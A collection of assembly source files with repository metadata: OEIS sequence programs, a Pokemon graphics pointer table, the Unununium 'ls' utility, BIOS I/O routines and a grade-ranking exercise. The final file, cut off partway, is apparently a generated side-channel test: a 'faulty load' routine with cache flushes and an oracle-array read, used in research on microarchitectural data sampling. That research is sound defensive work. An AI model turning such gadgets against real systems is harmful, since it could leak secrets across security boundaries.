2022-03-09T19:52:31.000Z
oeis/098/A098156.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A098156: Interleave n+1 and 2n+1 and take binomial transform. ; 1,2,5,13,32,76,176,400,896,1984,4352,9472,20480,44032,94208,200704,425984,901120,1900544,3997696,8388608,17563648,36700160,76546048,159383552,331350016,687865856,1426063360,2952790016,6106906624,12616466432,26038239232,53687091200,110595407872,227633266688,468151435264,962072674304,1975684956160,4054449127424,8315056685056,17042430230528,34909494181888,71468255805440,146235046494208,299067162755072,611328465043456,1249045209153536,2550866976440320,5207287069147136,10625680370827264 seq $0,66373 ; a(n) = (3*n-2)*2^(n-3). add $0,2 div $0,4
87.285714
488
0.839607
34345fe77a8f4dbf6b02ac97906492775dad1a14
6,368
asm
Assembly
gfx/pokemon/idle_pointers.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/idle_pointers.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/idle_pointers.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
AnimationIdlePointers: dw BulbasaurAnimationIdle dw IvysaurAnimationIdle dw VenusaurAnimationIdle dw CharmanderAnimationIdle dw CharmeleonAnimationIdle dw CharizardAnimationIdle dw SquirtleAnimationIdle dw WartortleAnimationIdle dw BlastoiseAnimationIdle dw CaterpieAnimationIdle dw MetapodAnimationIdle dw ButterfreeAnimationIdle dw WeedleAnimationIdle dw KakunaAnimationIdle dw BeedrillAnimationIdle dw PidgeyAnimationIdle dw PidgeottoAnimationIdle dw PidgeotAnimationIdle dw RattataAnimationIdle dw RaticateAnimationIdle dw SpearowAnimationIdle dw FearowAnimationIdle dw EkansAnimationIdle dw ArbokAnimationIdle dw PikachuAnimationIdle dw RaichuAnimationIdle dw SandshrewAnimationIdle dw SandslashAnimationIdle dw NidoranFAnimationIdle dw NidorinaAnimationIdle dw NidoqueenAnimationIdle dw NidoranMAnimationIdle dw NidorinoAnimationIdle dw NidokingAnimationIdle dw ClefairyAnimationIdle dw ClefableAnimationIdle dw VulpixAnimationIdle dw NinetalesAnimationIdle dw JigglypuffAnimationIdle dw WigglytuffAnimationIdle dw ZubatAnimationIdle dw GolbatAnimationIdle dw OddishAnimationIdle dw GloomAnimationIdle dw VileplumeAnimationIdle dw ParasAnimationIdle dw ParasectAnimationIdle dw VenonatAnimationIdle dw VenomothAnimationIdle dw DiglettAnimationIdle dw DugtrioAnimationIdle dw MeowthAnimationIdle dw PersianAnimationIdle dw PsyduckAnimationIdle dw GolduckAnimationIdle dw MankeyAnimationIdle dw PrimeapeAnimationIdle dw GrowlitheAnimationIdle dw ArcanineAnimationIdle dw PoliwagAnimationIdle dw PoliwhirlAnimationIdle dw PoliwrathAnimationIdle dw AbraAnimationIdle dw KadabraAnimationIdle dw AlakazamAnimationIdle dw MachopAnimationIdle dw MachokeAnimationIdle dw MachampAnimationIdle dw BellsproutAnimationIdle dw WeepinbellAnimationIdle dw VictreebelAnimationIdle dw TentacoolAnimationIdle dw TentacruelAnimationIdle dw GeodudeAnimationIdle dw GravelerAnimationIdle dw GolemAnimationIdle dw PonytaAnimationIdle dw RapidashAnimationIdle dw SlowpokeAnimationIdle dw SlowbroAnimationIdle dw MagnemiteAnimationIdle dw MagnetonAnimationIdle dw FarfetchDAnimationIdle dw DoduoAnimationIdle dw DodrioAnimationIdle dw SeelAnimationIdle dw DewgongAnimationIdle dw GrimerAnimationIdle dw MukAnimationIdle dw ShellderAnimationIdle dw CloysterAnimationIdle dw GastlyAnimationIdle dw HaunterAnimationIdle dw GengarAnimationIdle dw OnixAnimationIdle dw DrowzeeAnimationIdle dw HypnoAnimationIdle dw KrabbyAnimationIdle dw KinglerAnimationIdle dw VoltorbAnimationIdle dw ElectrodeAnimationIdle dw ExeggcuteAnimationIdle dw ExeggutorAnimationIdle dw CuboneAnimationIdle dw MarowakAnimationIdle dw HitmonleeAnimationIdle dw HitmonchanAnimationIdle dw LickitungAnimationIdle dw KoffingAnimationIdle dw WeezingAnimationIdle dw RhyhornAnimationIdle dw RhydonAnimationIdle dw ChanseyAnimationIdle dw TangelaAnimationIdle dw KangaskhanAnimationIdle dw HorseaAnimationIdle dw SeadraAnimationIdle dw GoldeenAnimationIdle dw SeakingAnimationIdle dw StaryuAnimationIdle dw StarmieAnimationIdle dw MrMimeAnimationIdle dw ScytherAnimationIdle dw JynxAnimationIdle dw ElectabuzzAnimationIdle dw MagmarAnimationIdle dw PinsirAnimationIdle dw TaurosAnimationIdle dw MagikarpAnimationIdle dw GyaradosAnimationIdle dw LaprasAnimationIdle dw DittoAnimationIdle dw EeveeAnimationIdle dw VaporeonAnimationIdle dw JolteonAnimationIdle dw FlareonAnimationIdle dw PorygonAnimationIdle dw OmanyteAnimationIdle dw OmastarAnimationIdle dw KabutoAnimationIdle dw KabutopsAnimationIdle dw AerodactylAnimationIdle dw SnorlaxAnimationIdle dw ArticunoAnimationIdle dw ZapdosAnimationIdle dw MoltresAnimationIdle dw DratiniAnimationIdle dw DragonairAnimationIdle dw DragoniteAnimationIdle dw MewtwoAnimationIdle dw MewAnimationIdle dw ChikoritaAnimationIdle dw BayleefAnimationIdle dw MeganiumAnimationIdle dw CyndaquilAnimationIdle dw QuilavaAnimationIdle dw TyphlosionAnimationIdle dw TotodileAnimationIdle dw CroconawAnimationIdle dw FeraligatrAnimationIdle dw SentretAnimationIdle dw FurretAnimationIdle dw HoothootAnimationIdle dw NoctowlAnimationIdle dw LedybaAnimationIdle dw LedianAnimationIdle dw SpinarakAnimationIdle dw AriadosAnimationIdle dw CrobatAnimationIdle dw ChinchouAnimationIdle dw LanturnAnimationIdle dw PichuAnimationIdle dw CleffaAnimationIdle dw IgglybuffAnimationIdle dw TogepiAnimationIdle dw TogeticAnimationIdle dw NatuAnimationIdle dw XatuAnimationIdle dw MareepAnimationIdle dw FlaaffyAnimationIdle dw AmpharosAnimationIdle dw BellossomAnimationIdle dw MarillAnimationIdle dw AzumarillAnimationIdle dw SudowoodoAnimationIdle dw PolitoedAnimationIdle dw HoppipAnimationIdle dw SkiploomAnimationIdle dw JumpluffAnimationIdle dw AipomAnimationIdle dw SunkernAnimationIdle dw SunfloraAnimationIdle dw YanmaAnimationIdle dw WooperAnimationIdle dw QuagsireAnimationIdle dw EspeonAnimationIdle dw UmbreonAnimationIdle dw MurkrowAnimationIdle dw SlowkingAnimationIdle dw MisdreavusAnimationIdle dw UnownAnimationIdle dw WobbuffetAnimationIdle dw GirafarigAnimationIdle dw PinecoAnimationIdle dw ForretressAnimationIdle dw DunsparceAnimationIdle dw GligarAnimationIdle dw SteelixAnimationIdle dw SnubbullAnimationIdle dw GranbullAnimationIdle dw QwilfishAnimationIdle dw ScizorAnimationIdle dw ShuckleAnimationIdle dw HeracrossAnimationIdle dw SneaselAnimationIdle dw TeddiursaAnimationIdle dw UrsaringAnimationIdle dw SlugmaAnimationIdle dw MagcargoAnimationIdle dw SwinubAnimationIdle dw PiloswineAnimationIdle dw CorsolaAnimationIdle dw RemoraidAnimationIdle dw OctilleryAnimationIdle dw DelibirdAnimationIdle dw MantineAnimationIdle dw SkarmoryAnimationIdle dw HoundourAnimationIdle dw HoundoomAnimationIdle dw KingdraAnimationIdle dw PhanpyAnimationIdle dw DonphanAnimationIdle dw Porygon2AnimationIdle dw StantlerAnimationIdle dw SmeargleAnimationIdle dw TyrogueAnimationIdle dw HitmontopAnimationIdle dw SmoochumAnimationIdle dw ElekidAnimationIdle dw MagbyAnimationIdle dw MiltankAnimationIdle dw BlisseyAnimationIdle dw RaikouAnimationIdle dw EnteiAnimationIdle dw SuicuneAnimationIdle dw LarvitarAnimationIdle dw PupitarAnimationIdle dw TyranitarAnimationIdle dw LugiaAnimationIdle dw HoOhAnimationIdle dw CelebiAnimationIdle
25.16996
27
0.881438
6be0e626017824e73e94a2759d7e3aa0b6e40166
573
asm
Assembly
programs/oeis/133/A133146.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/133/A133146.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/133/A133146.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A133146: Antidiagonal sums of the triangle A133128. ; 2,5,7,14,18,29,35,50,58,77,87,110,122,149,163,194,210,245,263,302,322,365,387,434,458,509,535,590,618,677,707,770,802,869,903,974,1010,1085,1123,1202,1242,1325,1367,1454,1498,1589,1635,1730,1778,1877,1927,2030,2082,2189,2243,2354,2410,2525,2583,2702,2762,2885,2947,3074,3138,3269,3335,3470,3538,3677,3747,3890,3962,4109,4183,4334,4410,4565,4643,4802,4882,5045,5127,5294,5378,5549,5635,5810,5898,6077,6167,6350,6442,6629,6723,6914,7010,7205,7303,7502 add $0,1 mov $2,$0 mul $0,2 div $2,2 sub $0,$2 mul $0,$2 add $0,2
52.090909
451
0.746946
2e3a8bd519b6bfd4e1fab0654f924499a350e7c1
1,341
asm
Assembly
non_regression/other_x64_macosx_8.o.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
1
2021-02-28T21:31:18.000Z
2021-02-28T21:31:18.000Z
non_regression/other_x64_macosx_8.o.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
non_regression/other_x64_macosx_8.o.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
.section __TEXT,__text,regular,pure_instructions .align 4, 0x90 .globl __Z4BLAHv __Z4BLAHv: pushl %ebp movl %esp, %ebp call L00000008 L00000008: popl %eax movl _a-L00000008(%eax), %eax popl %ebp ret # ---------------------- .align 4, 0x90 .globl _main _main: pushl %ebp movl %esp, %ebp subl $8, %esp movl $0, -4(%ebp) call __Z4TESTv L00000032: call __Z4BLAHv L00000037: movl %eax, (%esp) call __Z4FUNCi L0000003F: addl $8, %esp popl %ebp ret # ---------------------- .section __TEXT,__textcoal_nt,coalesced,pure_instructions .align 4, 0x90 .globl __Z4TESTv __Z4TESTv: pushl %ebp movl %esp, %ebp call L00000058 L00000058: popl %eax movl _a-L00000058(%eax), %ecx addl $1, %ecx movl %ecx, _a-L00000058(%eax) popl %ebp ret # ---------------------- .align 4, 0x90 .globl __Z4FUNCi __Z4FUNCi: pushl %ebp movl %esp, %ebp pushl %eax movl 8(%ebp), %eax movl %eax, -4(%ebp) movl -4(%ebp), %eax movl %eax, %ecx addl $1, %ecx movl %ecx, -4(%ebp) addl $4, %esp popl %ebp ret # ---------------------- .globl _a .zerofill __DATA,__common,_a,4,2 # ---------------------- .subsections_via_symbols
19.720588
64
0.51827
70b6795779e63e2ba109deb5af70101c293098c9
5,175
asm
Assembly
dimension/app/base/ls/ls.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
7
2019-03-04T08:53:33.000Z
2022-01-28T19:32:12.000Z
dimension/app/base/ls/ls.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
null
null
null
dimension/app/base/ls/ls.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
null
null
null
;; $Header: /cvsroot/uuu/dimension/app/base/ls/ls.asm,v 1.1.1.1 2002/01/17 04:30:55 instinc Exp $ section .text ; ----------------------------------- ; _invalid_option ;============================================================================== _invalid_option: push eax mov esi, invalid_option_str call _print_err pop eax stc retn ; ----------------------------------- ; _show_help_and_quit ;============================================================================== _show_help_and_quit: mov esi, help_str call _print xor eax, eax retn ; ----------------------------------- ; _start ;============================================================================== global _start _start: mov eax, [ebx+process_info.stdin] mov [stdin], eax mov eax, [ebx+process_info.stderr] mov [stderr], eax mov edx, opt mov ebx, opt_str externfunc lib.app.getopts jc _invalid_option cmp byte[opt.help], 0 jnz _show_help_and_quit ; check if used without options cmp ecx, byte 2 jl .list_cwd .options_parsed: mov ebp, edi dec ecx jnz .more_than_one .list_cwd: externfunc process.get_wd mov edi, ls_callback externfunc vfs.list jc .done xor eax, eax jmp short .done .next_dir: call _print_nl .more_than_one: add ebp, byte 4 mov esi, [ebp] push esi call _print_unaligned mov esi, post_dir_str call _print pop esi mov edi, ls_callback push ebp push ecx externfunc vfs.list pop ecx pop ebp jc .done dec ecx jnz .next_dir xor eax, eax .done: retn ls_callback: test esi, esi jz .done cmp byte[esi], '.' jnz .not_hidden cmp byte[opt.show_all], 0 jnz .not_hidden clc retn .not_hidden: push eax call _print_unaligned cmp ebx, byte max_type_number jna .type_ok ; no indicator if we we don't know what kind it is xor ebx, ebx ; so assume it's a regular file .type_ok: cmp byte[opt.indicators], 0 jz .no_indicator mov esi, [type_strs+ebx*4] call _print .no_indicator: pop eax cmp byte [opt.long], 0 jz short .done push eax mov esi, size_str call _print pop eax call qtoi call _print_unaligned .done: call _print_nl clc retn qtoi: ;---- ; converts EDX:EAX to a string in decimal representation ; ; params: ;-------- ; EDX:EAX mov ebx, 0x0A mov esi, qtoi_buffer + 19 .processing: mov ecx, eax mov eax, edx xor edx, edx div ebx push eax mov eax, ecx div ebx add edx, byte 0x30 mov [esi], dl dec esi pop edx test edx, edx jnz short .processing test eax, eax jnz short .processing .wtf: inc esi retn ; ----------------------------------- ; _print and friends ;============================================================================== _print: ; prints dword aligned string pointed to by ESI pushad externfunc lib.string.find_length_dword_aligned mov ebx, [stdin] mov ebp, [ebx] call [ebp+file_op_table.write] popad retn _print_unaligned: ; prints string pointed to by ESI (only single null required) pushad externfunc lib.string.find_length mov ebx, [stdin] mov ebp, [ebx] call [ebp+file_op_table.write] popad retn _print_err: ; same but prints to stderr pushad externfunc lib.string.find_length mov ebx, [stderr] mov ebp, [ebx] call [ebp+file_op_table.write] popad retn _print_nl: ; prints a newline pushad xor ecx, ecx mov esi, nl mov ebx, [stdin] inc ecx mov ebp, [ebx] call [ebp+file_op_table.write] popad retn ; ----------------------------------- ; section .bss ;============================================================================== section .bss stdin: resd 1 stderr: resd 1 qtoi_buffer: resb 21 opt: .show_all: resb 1 .long: resb 1 .indicators: resb 1 .help: resb 1 ; ----------------------------------- ; ;============================================================================== section .data align 4 invalid_option_str: dstring "invalid option" help_str: db "Usage: ls [OPTION]... [FILE]...",0xa db "List information about the FILEs (the current directory by default).",0xa db 0xa db " -h show this help",0xa db " -l long output; include file size",0xa db " -p append indicator (one of /=@|) to entries",0xa,0 align 4, db 0 post_dir_str: dstring ":",0xa size_str: dstring 0x9 ; but between filename and size type_strs: dd type_0, type_1, type_2 max_type_number: equ ($ - type_strs) / 4 - 1 type_0: dstring "" type_1: dstring '/' type_2: dstring '@' nl: db 0xa opt_str: db 'alph',0,0,0 dir_str: db "/",0
20.783133
97
0.507246
9e22b03ba896c951d547d5a8173a06db422609cc
260
asm
Assembly
data/mapHeaders/saffronhouse1.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
data/mapHeaders/saffronhouse1.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
data/mapHeaders/saffronhouse1.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
SaffronHouse1_h: db HOUSE ; tileset db SAFFRON_HOUSE_1_HEIGHT, SAFFRON_HOUSE_1_WIDTH ; dimensions (y, x) dw SaffronHouse1Blocks, SaffronHouse1TextPointers, SaffronHouse1Script ; blocks, texts, scripts db $00 ; connections dw SaffronHouse1Object ; objects
37.142857
96
0.815385
ba2c6eff66fac4ee8ef64246e145f19741ed7a12
2,284
asm
Assembly
asm/io.asm
jethrodaniel/os
d916a340db5c2fd89a8acf1208183fadddc34d71
[ "MIT" ]
1
2020-04-25T01:59:29.000Z
2020-04-25T01:59:29.000Z
asm/io.asm
jethrodaniel/os
d916a340db5c2fd89a8acf1208183fadddc34d71
[ "MIT" ]
null
null
null
asm/io.asm
jethrodaniel/os
d916a340db5c2fd89a8acf1208183fadddc34d71
[ "MIT" ]
null
null
null
; vim: :set ft=nasm: [bits 16] ; BIOS call to read an ASCII character into `al`, without echo. ; %macro bios.read_char_into_al 0 mov ah, 00h int 16h %endmacro ; BIOS call to print the ASCII character in `al`. ; %macro bios.print_char_in_al 0 mov ah, 0eh int 0x10 %endmacro ; Print a newline, then a carriage return. ; %macro bios.print_newline 0 push ax mov al, 10 ; \n bios.print_char_in_al mov al, 13 ; \r bios.print_char_in_al pop ax %endmacro ; Print the null-terminated string whose address is in `bx`. ; io.print: push ax .print_char: mov al, [bx] ; load character inc bx ; move to next character cmp al, 0 ; exit if at end of string je .done bios.print_char_in_al jmp .print_char ; print next character .done: pop ax ret ; Print the null-terminated string whose address is in `bx`, then ; a newline. ; io.puts: call io.print bios.print_newline ret ; Read a \r-terminated string into `bx`, echo as typed. ; io.readline: push ax push bx .loop: bios.read_char_into_al mov [bx], al ; load next character if_equal_jmp al, 0, .done ; \0 (end of program) inc bx ; move to next character bios.print_char_in_al cmp al, 13 ; exit if \r jne .loop dec bx mov word [bx], 0 ; je .done ; cmp al, 10 ; exit if \n ; je .done ; jmp .loop .done: pop bx pop ax ret ; Print the value of `dx` as a hexadecimal string. ; io.print_hex: push ax ; current digit push bx ; current sum push cx ; digit/character count mov bx, dx ; sum is initially our `dx` value xor cx, cx ; count = 0 .loop: mov ax, bx ; digit = sum % 16 and ax, 0xf shr bx, 4 ; sum /= 16; add al, '0' ; convert to ASCII cmp al, '9' ; convert 9+ into A-F jg .convert_to_letter .after_convert_to_letter: push ax ; push character inc cx cmp bx, 0 ; if on the last digit jg .loop .done: mov al, '0' bios.print_char_in_al mov al, 'x' bios.print_char_in_al .pop_char: cmp cx, 0 ; if we've printed all the digits je .return pop ax ; print next digit dec cx bios.print_char_in_al jmp .pop_char .return: pop cx pop bx pop ax ret .convert_to_letter: add al, 0x7 ; convert 0-9+ into A-F ; add al, 32 ; use lowercase letters jmp .after_convert_to_letter
16.198582
65
0.657618
fdb732f0a3decb1af4b21d37e12c6ae367be5209
326
asm
Assembly
oeis/021/A021457.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021457.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021457.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021457: Decimal expansion of 1/453. ; Submitted by Jon Maiga ; 0,0,2,2,0,7,5,0,5,5,1,8,7,6,3,7,9,6,9,0,9,4,9,2,2,7,3,7,3,0,6,8,4,3,2,6,7,1,0,8,1,6,7,7,7,0,4,1,9,4,2,6,0,4,8,5,6,5,1,2,1,4,1,2,8,0,3,5,3,2,0,0,8,8,3,0,0,2,2,0,7,5,0,5,5,1,8,7,6,3,7,9,6,9,0,9,4,9,2 mov $2,10 pow $2,$0 mul $2,10 div $2,453 mov $0,$2 mod $0,10
29.636364
199
0.558282
37f13832b41350efd538589f2069e128c27e1f91
705
asm
Assembly
libsrc/target/sam/stdio/fgetc_cons_native.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/sam/stdio/fgetc_cons_native.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/sam/stdio/fgetc_cons_native.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; SAM Coupe C Library ; ; getkey() Wait for keypress ; ; We will corrupt any register ; ; Stefano Bodrato - Mar.2001 SECTION code_driver PUBLIC fgetc_cons_native PUBLIC _fgetc_cons_native EXTERN THIS_FUNCTION_ONLY_WORKS_WITH_BASIC_SUBTYPE PUBLIC ___fgetc_cons_native_protection defc ___fgetc_cons_native_protection = THIS_FUNCTION_ONLY_WORKS_WITH_BASIC_SUBTYPE .fgetc_cons_native ._fgetc_cons_native xor a call $0166 ;flush keyboard buffer loop: call $016C and a jr z,loop IF STANDARDESCAPECHARS cp 13 jr nz,not_return ld a,10 .not_return ENDIF ld h,0 ld l,a ret
18.552632
86
0.666667
e1f3f35da135e96fed636dc178ec97992c33f3ec
716
asm
Assembly
oeis/164/A164592.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/164/A164592.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/164/A164592.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A164592: a(n) = 10*a(n-1) - 17*a(n-2) for n > 1; a(0) = 1, a(1) = 8. ; Submitted by Christian Krause ; 1,8,63,494,3869,30292,237147,1856506,14533561,113775008,890679543,6972620294,54584650709,427311962092,3345180558867,26187502233106,205006952830321,1604881990340408,12563701705288623,98354023217099294,769957303181086349,6027554637120175492,47186272217123286987,369394293340189886506,2891776305710802986281,22638060070324801792208,177220403506164367155303,1387357013866122041085494,10860823279056426169214789,85023163554840186993694492,665597639804442625060293507,5210582617612143071710128706 mov $1,2 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,7 mul $3,6 add $3,$1 mul $1,4 add $1,$2 lpe mov $0,$3
42.117647
492
0.798883
d400fc2be50d07cc8f94cf1cfe1d091da90b6389
2,685
asm
Assembly
code/Forec/t26.asm
KongoHuster/assembly-exercise
1c4a44c60c0e93a1350ed4f887aeaf1414702a51
[ "0BSD" ]
1
2021-08-20T03:57:29.000Z
2021-08-20T03:57:29.000Z
code/Forec/t26.asm
KongoHuster/assembly-exercise
1c4a44c60c0e93a1350ed4f887aeaf1414702a51
[ "0BSD" ]
null
null
null
code/Forec/t26.asm
KongoHuster/assembly-exercise
1c4a44c60c0e93a1350ed4f887aeaf1414702a51
[ "0BSD" ]
null
null
null
;; last edit date: 2016/10/25 ;; author: Forec ;; LICENSE ;; Copyright (c) 2015-2017, Forec <forec@bupt.edu.cn> ;; Permission to use, copy, modify, and/or distribute this code for any ;; purpose with or without fee is hereby granted, provided that the above ;; copyright notice and this permission notice appear in all copies. ;; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ;; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ;; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ;; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ;; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ;; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ;; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. title forec_t26 data segment grade dw 0110h, 1000h, 100dh, 0001h, 0110h, 1001h, 0110h, 1002h, 002dh, 0010h, 0100h, 0200h, 0300h, 0400h, 0500h, 0600h, 0700h, 0800h, 0101h, 0202h, 0203h, 0104h, 0305h, 0506h, 0607h, 0207h, 080ah, 070dh, 0fffh, 0ffeh temp dw 30 dup(?) rank db 30 dup(1) outputinfo1 db 'Student $' outputinfo2 db ' score : $' outputinfo3 db ' rank: $' nextline db 0dh, 0ah, '$' data ends code segment assume cs:code, ds:data start: mov ax, data mov ds, ax mov es, ax mov si, offset grade mov di, offset temp mov cx, 1eh rep movsw ;; copy to temp mov si, 00h compare: cmp si, 3ch jz outputpart mov di, 00h mov bl, 01h mov ax, temp[si] nextcmp: cmp di, 3ch jz setrank cmp ax, temp[di] jae pass inc bl pass: add di, 2h jmp nextcmp setrank: shr si, 1 mov rank[si], bl shl si, 1 add si, 2h jmp compare ;; output part outputpart: mov si, 00h mov di, 00h outputs: cmp si, 3ch ;; 1eh * 2 = 3ch jge quit mov cl, 0ah mov ax, di ;; 输出 'Student xx score: div cl add ax, 3030h ;; to ascii mov bx, ax mov dx, offset outputinfo1 mov ah, 9h int 21h mov ah, 2h mov dl, bl int 21h ;; 十位 mov dl, bh ;; 个位 int 21h mov dx, offset outputinfo2 mov ah, 9h int 21h mov ah, 02h mov cl, 04h mov bx, temp[si] mov ch, 00h printnumber: cmp ch, 04h jz printleft mov dl, bh and dl, 0f0h shr dl, cl cmp dl, 09h jle number add dl, 07h number: add dl, 30h int 21h shl bx, cl inc ch jmp printnumber printleft: mov dx, offset outputinfo3 mov ah, 9h int 21h ;; 输出 ' rank : ' mov bl, 0ah mov ah, 00h mov al, rank[di] div bl mov bx, ax mov ah, 02h mov dl, bl add dl, 30h int 21h mov dl, bh add dl, 30h int 21h mov ah, 9h mov dx, offset nextline int 21h add si, 02h inc di jmp outputs quit: mov ah, 4ch int 21h code ends end start
19.742647
218
0.682682
c3f4cec335230c49976e3eac9a08f49adbcd8a43
2,422
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_6_1019.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_6_1019.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_6_1019.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi // Store lea addresses_A+0x1e7b5, %rsi clflush (%rsi) dec %r10 mov $0x5152535455565758, %r13 movq %r13, (%rsi) nop nop inc %rsi // Store lea addresses_WC+0x111f5, %rdx nop nop nop and $10850, %r10 movl $0x51525354, (%rdx) cmp $37710, %rax // Store lea addresses_UC+0x153f5, %rax cmp %rdx, %rdx movw $0x5152, (%rax) nop nop nop nop and $22682, %rdx // REPMOV lea addresses_normal+0x5b65, %rsi lea addresses_PSE+0xe5f5, %rdi nop nop nop nop xor %rdx, %rdx mov $61, %rcx rep movsw nop nop nop nop nop and %r15, %r15 // Store lea addresses_PSE+0x19cf5, %rdx and $7443, %r13 mov $0x5152535455565758, %r15 movq %r15, %xmm2 movups %xmm2, (%rdx) sub %rax, %rax // REPMOV lea addresses_US+0x17f55, %rsi lea addresses_WT+0xfcf5, %rdi clflush (%rsi) nop nop nop nop xor %r10, %r10 mov $27, %rcx rep movsb nop nop nop nop nop sub %r13, %r13 // Faulty Load lea addresses_D+0x8ff5, %rsi nop nop nop sub $60328, %r10 vmovups (%rsi), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %r15 lea oracles, %rdi and $0xff, %r15 shlq $12, %r15 mov (%rdi,%r15,1), %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_PSE'}, 